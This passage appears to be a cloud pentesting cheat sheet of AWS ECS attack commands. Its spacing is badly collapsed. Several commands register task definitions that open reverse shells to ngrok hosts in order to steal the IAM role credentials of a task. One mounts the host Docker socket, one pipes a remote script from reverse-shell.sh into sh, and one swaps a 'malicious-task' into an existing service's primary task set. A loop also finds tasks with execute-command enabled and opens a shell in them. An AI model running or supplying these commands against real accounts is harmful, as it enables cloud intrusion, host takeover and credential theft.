# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"awsecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceawsecscreate-task-set--clusterexisting-cluster--serviceexisting-service--task-definitionmalicious-task--network-configuration"awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"# Update the primary task set for the serviceawsecsupdate-service-primary-task-set--clusterexisting-cluster--serviceexisting-service--primary-task-setarn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id